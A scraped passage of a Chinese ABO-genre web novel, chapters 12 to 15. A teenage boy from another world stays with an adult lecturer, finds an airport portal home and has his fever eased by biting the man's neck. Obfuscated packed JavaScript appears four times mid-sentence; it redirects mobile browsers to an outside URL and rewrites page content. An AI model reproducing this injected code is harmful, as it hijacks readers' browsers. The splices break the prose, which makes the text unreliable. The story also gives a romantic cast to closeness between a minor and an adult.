他走到育儿教育系列,目光一排排扫过书名,又拿起一本《陪孩子走过青春期》。翻看了两页,觉得内容还不错,便一同拿去结账。 刚巧之前在网上订的球鞋也到了,潭知行特意回家取了来,放到车上,去接池燃放学,想给他个惊喜。 晚上六点,校门口人多得很。 潭知行和众多家长一样,排在人堆里等候。他身形高挑,穿着又得体,气质儒雅,难免惹得旁人多看几眼。 “哟,小伙子。”一老太太同他搭话,“来接孩子?” 潭知行礼貌点头。 “你看着可真年轻,这么年轻孩子就上高中了?结婚很早吧?” 潭知行:“……我还没结婚,来接弟弟的。” 老太太哦了声,“这样啊。” 不一会儿,校门开了,里面乌央乌央地涌出人来。 潭知行张望着,很快就寻到了白骁的身影。 “潭哥?”白骁也瞧见了他,小跑几步过来,“你怎么来了?” “来接池燃。”潭知行说。 “池燃?”白骁皱了下眉,“他没跟你说吗?” “说什么?”潭知行疑惑。 “他没上晚自习,他说他不舒服,五点多就走了。” 潭知行微微一愣,问,“他说他去哪里了吗?” 白骁摇头,“没回家吗?” 潭知行不久前才刚从家里出来,哪里有人? 潭知行意识到什么,沉口气,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203342|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白骁道,“走吧,我送你回去。” 一上车,白骁闻见一股香辣的味道,他扭头向后座看去,“潭哥,你买什么了?什么味道这么香?” 潭知行:“小龙虾。” 白骁长长哦了声。 应该是给池燃买的吧。他虽然嘴馋,但还是不跟池燃抢了,省得池燃又生气。 路上,潭知行反复给池燃打电话,但没有一通是接的,发了消息也不回。 白骁看在眼里,劝道,“应该没事潭哥,他走的时候,我看他也不像生病的样,可能就是去哪儿玩了吧。” 潭知行顿了两秒,问,“他今天跟你说什么了吗?” “呃。”白骁回想了下,“没有什么特别的,就是……他今天看起来不太高兴?” 潭知行沉声,“嗯……” 有一周没去看潭枫和徐兰芝了,将白骁送到家楼下,潭知行犹豫了下,跟着他一同上楼。 看到潭知行和白骁一同出现时,潭枫很是意外。 “知行?” 潭枫下意识往他们身后看一下,问,“小池呢?怎么没来?” 潭知行:“他在楼下。我送白骁回来,顺便看看你和妈。” “叫他上来啊。”潭枫道,“还没吃饭吧?” 他突然低声,“今天你妈状态好,一起吃个饭吧。” 潭知行进屋,和徐兰芝打了招呼,“妈。” “知行?”徐兰芝正将饭菜端上桌,一见他,连忙走上前,“小池呢?” 潭知行突然有点后悔赶在这个时间点来回家看爸妈。他们现在哪里还顾得上他这个儿子,心里眼里都是池燃。 “呃那个,那个……”白骁见状插话,“池燃今天跟我说了,潭哥要带他去吃烛光晚餐,今天是他们,他们恋爱纪念日!” 潭知行:“……” 潭枫恍然大悟似的哦了声,“这样啊,那知行你快去吧,别让小池等急了。” 潭知行顺着应下来,“好,我走了。过两天闲下来再来看你们。” 徐兰芝将他推出门,“好好好,我们不急,快去吧。” 潭知行出了门,站在电梯口,却犯起愁来。 池燃摆明是在跟他生气,要躲着他。电话不接信息不回就算了,家也不回,连个道歉解释的机会也不给他。 上哪儿找呢? 报警?又不太现实。 潭知行进了电梯,再度拿起手机,拨通池燃的电话。 对面的提示音竟然变了,变成:您拨打的电话正在通话中。 潭知行心下一跳,连忙挂断电话。 果然,不过几秒,池燃的电话就打了过来。 “池燃,你在哪儿?” 对面一阵沉默。 潭知行又问,“白骁说你身体不舒服提前走了,你哪儿不舒服?” 对面还是没说话。 “吃饭了吗?” 潭知行没意识到自己握着电话的手紧了紧,他声音沉下来,似乎有对自己的自责,“没穿外套,冷不冷?” 池燃闷闷的声音终于传过来,只说了两个字,“机场。” 潭知行一愣,心里冒出一点担忧,“你去机场干什么?” “潭知行。” 池燃听起来仍在同他生气,甚至有几分委屈,“你再不来,可就这辈子都见不到我了。” 12. 第 12 章 机场门前人潮涌动,潭知行匆匆赶来,却一眼就在人群中捕捉到了池燃的身影。男生又瘦又高,身上蓝白相间的校服半敞着,再加上一头浅色的发,显眼得很。 潭知行胳膊上挂着新买来的外套,不自觉加快了些步子,走到池燃近前。 “怎么不进去等?” 池燃低头玩手机玩得专注,身后的声音传来时难免一惊,随即又感到覆上来的一阵温暖。他垂眼看向身上的衣服,和自己昨天丢的那件一模一样,心绪才缓和一点。 可转过身时,他仍保持着一副冷脸,他才不会这么轻易就原谅潭知行。 潭知行将池燃的外套往上拢了拢,才放下手,“走吧,回家了。” 注意到男生微垂的眼眸,淡漠的神色里透出不悦,潭知行迟疑着,抬起手去碰池燃的手指,本是想牵住,可最后又收回来,似是很轻地勾了一下。 “饿了吧。”他低声,“给你买了小龙虾,路上吃。” “……”池燃抿了抿唇,突然毫无征兆地抓住潭知行的手腕,“跟我来。” 潭知行一愣,还未反应过来,就随着池燃迈进了机场大门。 “干什么?” 池燃不答,反问他,“你感觉到什么没有?” “什么?”潭知行不解。 池燃神色认真,“这里是ABO世界。” 他顿了顿,“我原来的世界。” - 池燃一整天心情都糟糕得很,课听不进去题也做不下去。一想到潭知行也嫌他麻烦,他在这个世界里也将变得无处可去,就根本无法静下心来。 索性晚自习也不想上了,跟老师装病请假,出来闲逛。 他先去学校附近的网吧打了会儿游戏,觉得没意思,出来打了个车没跟司机说去哪儿,就说随便逛逛。结果遇上个客人拼车说要去机场,池燃觉得去哪儿都无所谓,到了地方就跟着下了车。 想到他第一天来明城的情形,他转转悠悠进了机场。 可只一瞬间,他就察觉到了不对劲。空气中弥漫起一股香甜的味道,像是Omega的信息素。 原本还在疑惑,可随后他就听到不远处有人喊了一声,“谁带抑制剂了!” 池燃心下一惊,连忙朝人群围住的方向跑过去。他拨开一堆人,只见一个瘦弱的男生瘫在地上,周围几个工作人员扶着他。 “先生,您稍等,别担心,我们已经派人去拿抑制剂了。” 还有两个人在一旁组织秩序,“请性别为Alpha的旅客让一让,暂时不要靠近。” 池燃瞬时呆住。不敢相信眼前的一切。 他穿越回来了??? 怎么做到的? 可他周遭充斥着的,的的确确是Omega的信息素,正在一点一点侵蚀他作为Alpha的理智。 池燃猛地冲出人群跑了出去,大口呼吸新鲜空气。 他缓了两口气,随口问一旁的保安,“机场有备阻隔贴吗?服务台有吗?” 保安露出困惑的神色,问,“什么贴?” “阻隔贴。”池燃有些焦急地重复道,“信息素阻隔贴。” 保安:“啥?” 池燃:? 对方用看傻子的眼神看着他,这眼神池燃熟悉,他在潭知行身上见过。 池燃反应过来,朝保安摆手,讪讪地笑笑,“没事,没事了。” 他走去一旁在路边蹲下,完全摸不到头脑。 他刚刚明明穿越回去了啊,怎么?又回来了? 从哪儿穿的? 池燃琢磨了半晌,突然冒出个念头。 难道是……机场的那个门? “我试了好多次。”池燃指着面前的门跟潭知行说,“从2号门走进来,就能穿回来,其他的门都不行。” 潭知行回身去看身旁的门,一时觉得有点魔幻。就这一道门,就能连通两个世界? “你说真的?”他问。 “我骗你干什么?”池燃又有点气,不自觉拔高了声音,“你不信算了。” 潭知行沉默片刻,抬眼望向他,“那,你打算怎么办?” “什么怎么办?” “……要回家吗?” 被潭知行这么一问,池燃一下垂下眼,像是心虚似的。他知道潭知行说的那个家,不是他们的那个。 穿回abo世界,池燃就发现自己的手机能用了。手机突然涌入七八十条消息和未接电话,无一例外,都是来自家里的。 池州诚,贺娟,池岩都联系过他。他把消息一条条翻遍,心却一点点沉到谷底。 很多消息,却没有一条是关心他的,只有无尽的责问。问他跑去哪里了,为什么逃跑,为什么逃避责任,知不知道给家里惹了多大的麻烦,说他不懂事,不孝等等…… 打给潭知行的那通电话,本想是做个告别。他终究是Alpha,是另一个世界里的人,可当潭知行问他冷不冷的时候,他还是没憋住,心里一角轰地就崩塌了。 潭知行不明白池燃眼睛里为什么突然闪着泪光,可见他这样,心底还是像被猫抓了下。 “算了。”他叹口气,“你想怎么样都行。” “一会儿再商量这个。”他上前,牵过池燃的手,“先去吃饭。” 池燃跟在他身后,干巴巴地哦了声。 机场附近没什么好吃的,潭知行将车开回市区,找了家不用排队的馆子。点好菜,池燃正准备先吃点小龙虾,又瞧见那头有免费的甜筒冰激凌。他指挥潭知行,“我要吃冰激凌,帮我拿一个回来呗。” 潭知行回身看了眼,打甜筒的人正在排队。他嗯了一声,没多说什么,起身走过去。 没两分钟,潭知行又折回来。池燃像是没想到会这么快,下意识拿左手挡了下手机屏幕。 “怎么了?”他抬眼,见潭知行两手空空,问,“冰激凌呢?” 潭知行扫了眼他手边,觉得不太正常。有什么事,至于让池燃连吃小龙虾的功夫都不放心? 片刻,他收回目光。 “原味,抹茶,巧克力,你要哪个?” 池燃想了下说,“原味和抹茶。” “不怕胃疼?”潭知行微微挑眉。 又吃辣的又吃冰的。 “不怕不怕。”池燃挥手,“快去排队。” 看潭知行走远,池燃才又点亮手机屏幕,看向几天前池州诚发来的消息。 池州诚:「不想结婚,就一辈子别回家来!」 池州诚:「你是个Alpha,就这么逃避责任,像什么样子!我没你这个儿子!」 池燃不明白自己为什么要再看一遍这些消息,像上赶着找虐似的。 可他就是难过,越难过......越止不住要看。 潭知行拿着冰激凌回来,池燃和他对上视线,怕被发现心事,一下把潭知行手里的两个甜筒都夺了过来。 他左边吃一口原味的,右边咬一口抹茶的,因为吃得急躁,脸上都沾了块雪糕。 潭知行看他这副样子,没忍住,低声笑了。 “笑什么!”池燃瞪起他。 “没。”潭知行压下嘴角,“慢点吃,没人跟你抢。” 池燃轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203343|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白他一眼,闷头又吃起来。 潭知行抽了张纸巾递给他,“脸上沾到了。” 池燃垂下眼去看却看不到,更何况他现在一手一支甜筒,都没空接纸巾,“在哪啊?” 他索性将脸朝潭知行凑过去,“你帮我擦。” 池燃的五官像被手动放大似的,怼到潭知行眼前。那样明媚张扬的一张脸,认谁细看也会愣上片刻。潭知行僵了两秒,偏偏这副面孔的主人无知无觉,睁大眼睛朝他看过来,“愣着干什么,帮我擦啊。” 潭知行回过神来,将纸巾捻过那处雪白,“好了。” 池燃这才撤回身子,垂着眼继续吃他的甜筒。 潭知行将纸巾叠好放到一旁,朝池燃看去,犹豫了几秒才开口。“早上的事……能跟我说说吗?” 他十指交扣,因为紧张,不自觉磨着手指,“我不知道你是怎么想的,但我,没有觉得你麻烦。” 池燃猛吃冰激凌的动作一顿,略有错愕地抬眼。 “放学不回家,是生我的气?”潭知行试探着问。 池燃不轻不重地“啊”了一声,实在算不上回答。 “为什么会认为,我嫌你麻烦?” 池燃低头,又咬了口甜筒,含糊道,“你自己说的啊,我喝多了回不了家,丢了东西也麻烦。” “……” 见潭知行不说话,池燃认为是他心虚,辩解不出来话了。 他眉头蹙起,索性自暴自弃,“我不会回原来的家的,你也不想要我也没事,我自己一个人死不了。” 说这些话时,他鼻子很酸。他一个人才不会没事,都是逞强说给潭知行听罢了。 “池燃。”潭知行神色认真地看过去,“你有没有想过,我只是在担心你?” 池燃闻言茫然地眨了眨眼。 “担心你酒量不好,喝多了会有危险。也担心你养成丢三落四的习惯,以后会丢了什么重要的东西。” 潭知行放缓声音,重申了一遍,“我没有嫌你麻烦。” 池燃有些呆,望向对方镜片下一双漆黑的眼仁,呼吸轻轻一滞。 担心…… 原来是这样的感情吗? 他好像从未体会过。 从前,家里也没有人管过他什么。 半晌,池燃垂下眼,低低哦了声,“知道了。” “好了。” 见池燃情绪缓和,潭知行也放心下来,嘴角不自觉微扬,提醒道,“再发呆,甜筒要化了。” 池燃:“哦。” 他回过神,忙舔掉融化的甜水。 “所以……你考虑好了?”潭知行问,“真的不回去了?” 他总觉得,对于一个年少的孩子,脱离家庭,不是什么轻易的事。 半晌,池燃点了点头,像下定了什么决心似的。 他不知道那个家还有什么值得他留恋的,原本在今天之前,他还心存一点幻想,现在连幻想都没了。 潭知行只轻轻嗯了一声。 他猜到池燃有什么难言之隐,可池燃不想跟他说,他也没有一定要问的必要。 正好这时服务员把菜端上来了。 潭知行把盘子往池燃近前推了推,“吃饭吧,吃完回家。” 池燃听到''回家''两个字瞬时抬眼,像受了惊的小猫似的,朝他看过来。 潭知行意识到什么,随即纠正了自己的话,“我说,回我们的家。” 池燃像是被自己蠢到了,很快垂下视线,哦了一声,心底却生出一丝暖意。 从今天开始,‘家’对他来说,是个新的概念。 13. 第 13 章 回家后,池燃频繁去卫生间洗了几把脸,又喝了很多杯水。潭知行原本靠在沙发上看书,见他来来回回地折腾,不禁多看了几眼。 池燃脸上湿漉漉的,连头发都被打湿了,没什么精神的垂在额前。 “怎么了?”潭知行略有担忧地望过去。 池燃摇摇头,没吭声,在潭知行身旁坐下。从刚才开始,他就有点乏力,脸上觉得热,静不下心写作业,才去多洗了几次脸给自己提神。 瞧见池燃有些泛红的脸颊,潭知行犹豫了下,试探地伸出手去碰他的脸。冰凉的水没能盖过他脸上的热,潭知行指尖抖了下,“池燃,你在发烧。” 池燃拂开他的手,“我没事。” 只要不是易感期就行。 “可能是今天没穿外衣冻着了。” “我回去写作业了。”他说着就要起身,却被潭知行一下抓住手腕。 他不耐烦地啧了一声,反问,“那你帮我写作业?” 潭知行:“......” “休息一天,明天给你请假。” 池燃用力挣开他的手,“算了吧,不碍事。我们Alpha,身体天生就比普通人强健。” - 再睁眼时,池燃有些迷茫。 空气里弥漫着消毒水的味道,眼前是白花花的天花板,很明显不是在家里。 他反应了几秒,才意识到自己在医院。 他怎么会在医院的? 明明记忆中他还在写作业,潭知行来房间给过他一杯感冒药,他喝了之后有点困就去床上休息了会儿。然后......? 正当他疑惑时,有人推门进来了。 潭知行身后,还跟着个医生。 池燃挣扎着坐起身,还没等他开口,就被医生教训了。 “你怎么能这么不小心?易感期不稳定自己都不知道吗?” 池燃:? 他一瞬睁大眼睛,用目光向潭知行求助。 易感期?医生在说什么? 是他认知中的那个易感期吗? 搞什么? 潭知行带他来哪了? “医生,他情况怎么样?”潭知行问。 医生这才把报告单递给潭知行,严肃道,“你的Alpha患有易感期紊乱综合征。” 潭知行显然愣了下,他根本听不懂。就在这时,池燃一下把报告单抢了过来。 “他作为Alpha分化得过晚,导致易感期紊乱,会使得易感期长期不定时发作,时间或长或短,症状严重程度也不定。”医生说,“像这次这样,单纯发热,也是症状之一。” 潭知行尽力在理解,但还是云里雾里的。 “那,应该怎么治疗?” “问题也不大,这种症状会随着时间慢慢减轻,过个几年易感期就会逐渐稳定。”医生意味深长地看他一眼,“不过在这期间,就要辛苦你了。” 潭知行微微蹙眉。 医生解答道,“易感期病发不严重时不需要用抑制剂缓解,若用的过多过频繁,反而会影响他的腺体健康,症状轻微时,作为他的Omega,多多安抚就是了。” 潭知行一阵沉默。 问题就在于,他不是Omega。 池燃听完真有点心死了,面若死灰地放下报告单。 他知道自己的易感期比寻常Alpha要频繁些,但没想到这还是种病? 更糟糕的是,他已经不打算继续在abo世界生活了。这不是要他命吗? 医生又递了张单子给潭知行,“你也验个血,你们的信息素匹配度要是高,对他的安抚效果会更好些。” 潭知行:“……” 他推拒道,“我不用检查了,谢谢医生。” 医生见状啧了一声,硬是把单子塞进他手里,严厉道,“你这人怎么回事?对你的Alpha这么不负责?” 潭知行不懂abo世界里Alpha与Omega的高羁绊度,莫名其妙被医生训了一顿。 “做完检查拿结果给我看,我给他开药。” 潭知行硬着头皮答应下来。 等医生离开病房,池燃一下喊了出来,“潭知行,你带我来哪儿了?!” 潭知行从他手里拿过报告单,细细看起来,道,“医院。” “你带我回abo世界了?” “嗯。”潭知行试图理解报告单上的指标,但怎么也看不懂。 昨天晚上池燃高烧不退,他本想着来abo医院给池燃治疗效果会更好,没想到检查了一通,医生让他用信息素解决问题,这算哪门子办法? “你带我回来干嘛!”池燃捶了下床,“我说了我不回来了!” “我手机呢?”他探头探脑地找,“他们又找我了吗?” 潭知行垂眼看向他,颇有无奈,“不然我该看着你高烧40度不退吗?” 池燃:“......” 他终于在床头柜上发现自己的手机,立刻拿了过来解锁,检查了遍微信消息没有新的,又点开通话记录看了遍才放心下来。还好,池州诚没有联系过他。 他很怕池州诚会来硬的,发现他在abo世界会直接叫人把他绑回去。 “池燃。”潭知行沉下声来问他,“你在担心什么?” “我……” “你跟你父母,关系很不好?”潭知行问出了自己的猜测。 池燃垂下头,低低嗯了声。 “我怕他们非要我去联姻。找不到我还好,找到了肯定会把我抓回去。” 潭知行不知道是什么样的家庭关系才会让池燃用“抓”这个字眼。他不免有几分心疼,抬手轻轻揉了把池燃脑袋,“不会的,我们很快就回家。” 为了给池燃拿药,潭知行还是去验血了。 就当做个血常规。 这份报告单出得很快,从自助机上打出结果的时候,潭知行简直不相信自己的眼睛。 匹配度99%。 99%? 池燃见他发呆,毛茸茸的脑袋从他肩膀越过去,“怎么了?” 随后,他发出一声惊叹,“你是Omega?!” 潭知行:…… 他自己也懵了。 不过只一瞬间池燃又清醒过来,他再度朝潭知行后颈处看了眼,确认道,“不可能啊,你又没有腺体,你怎么可能是Omega?” 池燃想起自己在潭知行身上闻到过的味道,瞬间灵光一闪。 难道,真的是信息素? 不是Omega,却有Omega信息素? 这合理吗? 医生拿到报告单,顿时喜笑颜开,“太好了,你们的匹配度很高,不需要给他开药了,可以出院,回去用信息素治疗就行。” 潭知行:“……” 他们ABO世界治疗方法都这么朴素吗? 池燃也一度欲言又止,但他怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203344|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了这事医生要直接把潭知行扣下当研究标本,道过谢后便领着潭知行出了诊室。 两个人面面相觑了一阵,池燃先开口,“要不,你让我咬一下试试?” 潭知行:“……” 还没等潭知行发话,池燃先很知好歹地摆了摆手,“哎算了算了,让我抱一下总行吧?” “……” “呃。”池燃又退让一步,“那牵下——” 他最后一个字还没说出口,便猛然落入潭知行的怀抱里。 “这样行吗?” 潭知行声音似带怜惜。 男人的怀抱宽厚,池燃贪恋其中,用力呼吸,果然嗅见了种熟悉的味道,他说不上这具体是什么味道,只觉得温暖而踏实,又有几分清冽,像冬日雪融。 池燃整个人放松下来,可Alpha的本能让他想渴求更多。 “潭知行,再给我点。”他贴在潭知行胸膛,能感受到对方沉重有力的心跳。 潭知行垂眸,望向那一缕浅金色的发旋,问,“怎么做?” “……” 这个问题把池燃也难住了。 潭知行没有腺体,不是严格意义上的Omega,调动不了信息素。 所以他只能闻到这点信息素吗? 根本不够。 算了,聊胜于无。 半晌,池燃又把潭知行抱紧了点,“那再抱会儿。” 出院回家,路上,池燃就收到了白骁发来的消息。是早上发来的,但从abo世界回来他才收到。 白骁:「哥们,你真生病了?」 白骁:「今天还来不来了?」 白骁:「严不严重啊?需要我帮你记份笔记吗?」 池燃看到白骁要帮他记笔记的时候忍不住笑了。 他动动手指,回:「你的笔记能看吗?帮我把我同桌笔记拍过来。」 不过,白骁这人还不错。 白骁一看就没好好听课,几乎秒回:「我靠,你还活着呢。」 池燃:「……」 池燃:「发烧,没事。」 白骁:「我的笔记怎么不能看了?」 他随后发了张照片过来。 白骁:「字是乱了点,你凑合看。」 池燃:「我不要,你去问我同桌要。」 白骁的“正在输入中”显示了好一会儿,池燃疑惑地盯着手机屏幕,半天才弹出来一条消息。 白骁:「你明天来了自己问他要吧,我不敢跟他说话。」 池燃:「?」 回到家,池燃才想起自己昨天写了一半的作业。想着早写晚写都得写,都没用潭知行提醒,他一进屋就直奔书桌。 他房门开着,不一会儿,潭知行走了进来。 池燃奋笔疾书,眼睛也没抬,“干嘛?想帮我做生物卷子?” 潭知行:“……” “再量一下体温。” 他把温度计放到桌子上。 池燃哦了声。 几分钟后,潭知行对着温度计上显示的温度有点发愁。37度3,过去了一天,池燃居然还在低烧。 潭知行忽然想起,上次池燃发烧,他猝不及防地被池燃咬了一口,结果池燃第二天就好了。 他当时还以为是退烧药起了作用,难不成,真是所谓的信息素有效果? “……” 潭知行犹豫片刻,松了口,“要不,你……咬一下试试?” 14. 第 14 章 池燃顿时放下笔,朝他看过来,眼睛里闪着光。 “真的?” 当他刚才说的“没事”是放屁吧。 还未等潭知行回话,池燃立刻将自己的椅子让了出来,自己则往右挪了个位置,“来来来,你坐。” 潭知行:“......” 现在反悔还来得及吗? 他僵着身子坐下,刚一回头,池燃就俯身过来,丝毫不客气地咬上他后颈。 疼痛让他本能地想抗拒,可一想到池燃还在低烧,他便忍了下来。 潭知行并没有腺体,这样咬住后颈也是无济于事,不过Alpha的习惯作祟,倒让池燃觉得这样心安几分。 他不禁用了些力气衔住潭知行后颈的皮肉,牙齿深陷,没一会儿,竟渗出丝丝血迹来。 潭知行嘶了口气,手指不自觉蜷缩起来。 不过一分钟的时间,他却觉得很漫长。 片刻,池燃回过神,齿间的力道放轻,趴在潭知行颈侧缓了好一会儿。他温热的呼吸落下来,弄得潭知行有几分痒。 潭知行微微偏头,朝池燃的方向看去,声音低缓,“好点了吗?” 池燃没吭声,枕在他背上微弱地点头。 “过来。”潭知行对他道,“我看看。” 池燃闻言听话地坐直身子,望向潭知行时,略有呆愣。明明方才刚把别人咬到皮肉都破了,此刻却显得格外无辜。 潭知行抬手去碰他的面颊,发觉已与自己的体温差不多了,才略安心下来。又给池燃测了一遍体温,潭知行瞧见体温计上的数字,只觉得不可思议。果真恢复正常了。 这世上还能有这种治疗方式?什么原理? 他迟疑半晌,问池燃,“你带回来的抑制剂呢?” 池燃略微一愣,“书包里。” “给我一支。” 池燃哦了一声,从书包里翻出来递给潭知行,才问,“你要这个干嘛?” 潭知行顿了顿,“我看看...能不能研制出来,针对你作用的抑制剂。” 池燃茫然地眨了眨眼。 潭知行把抑制剂捏在手里转了两圈,朝池燃瞥过去一眼,“不然,你想每次都咬我脖子?” 池燃:“......” 如果潭知行同意的话,他不是不行。 _ 研制抑制剂并非易事,潭知行本对ABO世界就所致甚少,这可谓是个大工程,还需要他亲力亲为。 这么一来,潭知行每日就更繁忙了。除了日常的教学科研,应付开会和一些必要的杂事,潭知行不得不再分出一部分精力来研究Alpha到底是个什么物种。 想要寻到一些可靠的文献资料自然是天方夜谭,而潭知行唯一能获取信息的途径,连他自己都觉得可笑——小说。 他从网上下载了不少人称名作的abo小说,种类繁多,几十本塞满了他的手机。 趁着全校教师开大会的功夫,便翻出来看两眼。 他的目的很明确,剧情之类的一律带过,主要看对Alpha易感期的描写,方便让他更好的了解池燃。 潭知行左耳朵进右耳多出地听台上的人讲话,一边翻动着书页。 正看到关键之处,潭知行再往下一翻页,看到了一串省略号。 潭知行:? 他反复翻了两次,确认自己没有错过什么,可......他想看的具体内容呢? Alpha是怎么标记Omega的?什么症状,什么反应?怎么一串省略号就没有了? 正当潭知行略感束手无策之时,有人从身后戳了戳他的肩。 潭知行下意识侧目看去。 一位年轻漂亮的女老师,正笑眯眯地看着他。他看着有几分眼熟,大概是办公室在同一楼层,走过路过见过几面,但叫不上名字。 “潭老师,你也喜欢这本小说啊?”女生像是寻到了什么知己,眼睛很亮地同他搭话。“我不是故意要看你手机,只是我对这本小说很熟悉,我看过十几遍了,所以一下就认出来了。” 潭知行:“......” 要怎么解释呢? 说他是为了为了治病救人,本着学术的态度才看的小说?未免太荒唐。 他顿了片刻,点头认下来。 见他承认,女生更兴奋了,接着道,“你是不是看的正版啊?正版现在删了好多内容,有些特别刺激...呃,精彩,精彩的地方都没有了。”她指指自己的手机,道,“我这儿有未删减的,你要不要看?我可以发你。” 潭知行:...... 他面上不动声色,却在心里画起了问号。 她说的那些“刺激”内容,就是他想看的吗?如果是这样,那倒是帮他大忙了。 半晌,潭知行点头微笑,“好啊,麻烦你了。” 女生很激动地同他加微信,一边念叨,“真没想到潭老师你还喜欢看这些,而且居然是我同担,太荣幸了。” 忽地,她反应过来什么似的,正要转发的手指在屏幕上顿住,“哎,潭老师,那你是不是...喜欢......?” 潭知行听了她的半句话,眉眼露出困惑。 喜欢什么? 对方忽然恍然大悟一般,深吸了一口气,小声道,“哦怪不得呢,我听说好多人给你介绍相亲,你都不答应,原来是搞错性别了啊。” 潭知行彻底沉默了。 他神色微敛,知道自己不好解释什么,就算解释也是白搭。 “放心放心。”女生说,“如果你不想让人知道,我会帮你保守秘密的。” 潭知行无奈笑了下,“好,谢谢。” “不过现在同性婚姻都合法了,就算你跟大家说了也不会怎么样的,说不定大家能帮你介绍更合适的人呢。” 潭知行硬着头皮继续道,“谢谢,不过我——” “哎传过去了,你看你收到没有?”女生打断他。 潭知行看了眼手机,“收到了。” “我这儿还有其他未删减的,你要不要?”女生神色激动,像在给他推销什么宝藏,“都是好东西。” 潭知行:“......” “好,都发给我吧,麻烦了。” 女生跟他摆手,“不麻烦不麻烦。” “哎对了。”她又说,“我表弟,性取向跟你一样,性格特别好,长得也帅,要不...你们见见?” 潭知行这下真没招了。 对方以为他喜欢男生,以往推拒的理由都不好用了,再加上对方刚刚帮了他一个大忙,他又和人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203345|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家不熟,这时候拒绝,总显得他不知好歹。 权衡过后,潭知行不得已应下,“好。” 女生看起来更高兴了,“那我一会儿就把他微信推给你,你们聊。” 潭知行有点哭笑不得:“嗯。” - 池燃紧赶慢赶了一夜,才把作业补上大半。生物的部分,最后还是软磨硬泡求潭知行帮他做的。 早自习还没开始,他就提早到了班级,趁课代表们还没收作业,池燃从季明野那里要来了昨天的物理和数学卷子,对着就是一顿狂抄,途中还不忘伪造一下做题痕迹。 白骁今天难得来得也早,一进班级瞧见池燃好端端地坐在位子上,立刻像大狗似的扑过来,一把揽住池燃脖子。 池燃被他一拽,手一抖,在卷子上划出一道黑印。 “靠,你干嘛?”池燃瞪他一眼,“一天没见有这么想我?” 白骁朝季明野的方向瞥了眼,立刻松开池燃,“想个屁!发烧把脑子烧坏啦?” 池燃懒得理他,摇摇头继续抄作业。 “你昨天发烧了?”季明野突然插话,问池燃。 池燃侧头应了一声,“啊,是啊。” 眼睛还没从卷子上离开。 “我妈妈今天给我带了雪梨汤,给你喝。”季明野说着,从书桌里拿出个小瓶子,轻轻推到池燃桌边。 池燃微微一愣,朝季明野看过去。 季明野对他扬起一个腼腆的笑容,“能止咳,对嗓子好。” 半晌,他想到什么似的,又补充道,“瓶子是新的,没人用过。” 池燃完全没想到季明野会对他这么好,他明明只是发了个烧,不是什么大不了的事。 他将那个小瓶子攥在手里,一时有点结巴,“谢,谢谢......” 怎么他的新同学也都这么好啊? 池燃瞬间鼻子有点酸。 正想着该怎么报答季明野的时候,白骁在旁边“哎哟”一声,捂住了头。 “我胃好疼。” 他龇牙咧嘴的,“雪梨汤能治胃疼吗?” 池燃古怪地看他一眼,“你胃疼揉太阳穴干什么?” 白骁:“......” “一起疼的。” 他咬咬牙,在池燃身后坐下。 这死小子凭什么能让季明野对他这么好啊! 他差在哪了! 白骁撑着脸,盯着季明野的侧脸,郁闷起来。 季明野在书包里翻了一阵,突然回过身来,把白骁吓了一跳。 他瞬间坐得立正。 “我这儿还剩一包胃药,你用热水冲了喝吧。”季明野把一包药放到白骁桌角上。 “哦。”白骁呆了呆,眨眨眼,“哦......” 池燃没回头,但他都能想到白骁那副傻样,忍不住提醒他,“你要说谢谢。” 白骁一把把药抓过来,“谢谢,我这就喝。” 他说着,便抓起水杯冲到教室的饮水机前。 池燃看他这副积极劲儿,不禁有点疑惑。 他真胃疼? 白骁把胃药冲了满满一大杯热水,当着季明野的面咕噜咕噜喝了。 坐回座位上,他摸出手机来查:没胃病喝胃药有副作用吗? 15. 第 15 章 早自习结束前,赵莉莉捧着书本进门,惹得几个学生抬头看了她几眼,第一节明明不是她的英语课。 “我说件事情,你们听着就行。” 尽管她这么说,但高中生向来躁动不安,一颗颗脑袋都扬起来盯着她。 